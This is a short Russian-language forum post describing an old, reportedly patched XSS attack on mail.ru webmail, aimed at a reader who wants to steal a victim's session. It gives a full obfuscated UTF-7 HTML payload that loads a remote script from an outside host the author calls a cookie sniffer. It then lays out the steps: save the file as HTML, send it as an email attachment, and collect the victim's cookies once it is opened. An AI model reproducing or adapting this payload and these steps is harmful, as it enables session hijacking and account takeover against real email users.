Если ты посмотрел видео XSS на mail.ru то знаю багу давно пофиксили
Ну вот если не знал то етот скриптик <html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7">
<TABLE><TD BACKGROUND="+ACYAIw-106+ACYAIw-97+ACYAIw-118+ACYAIw-97+ACYAIw-115+ACYAIw-99+ACYAIw-114+ACYAIw-105+ACYAIw-112+ACYAIw-116: document.write('+ACYAIw-60+ACYAIw-115+ACYAIw-99+ACYAIw-114+ACYAIw-105+ACYAIw-112+ACYAIw-116 SRC=http://devarsiv.org/alex/j.js> </SCRIPT>')">
</html>
http://devarsiv.org/alex/j.js> ето и есть ссылка на твой сниффер
Етот код надо было скопировать в блокнот и сохранить с расширением html, и отправить как прикрепленный файл, жертва должна была его открыть и тебе пришли бы куки на сниффер.Про подмену куков ето уже другая история юзай поиск.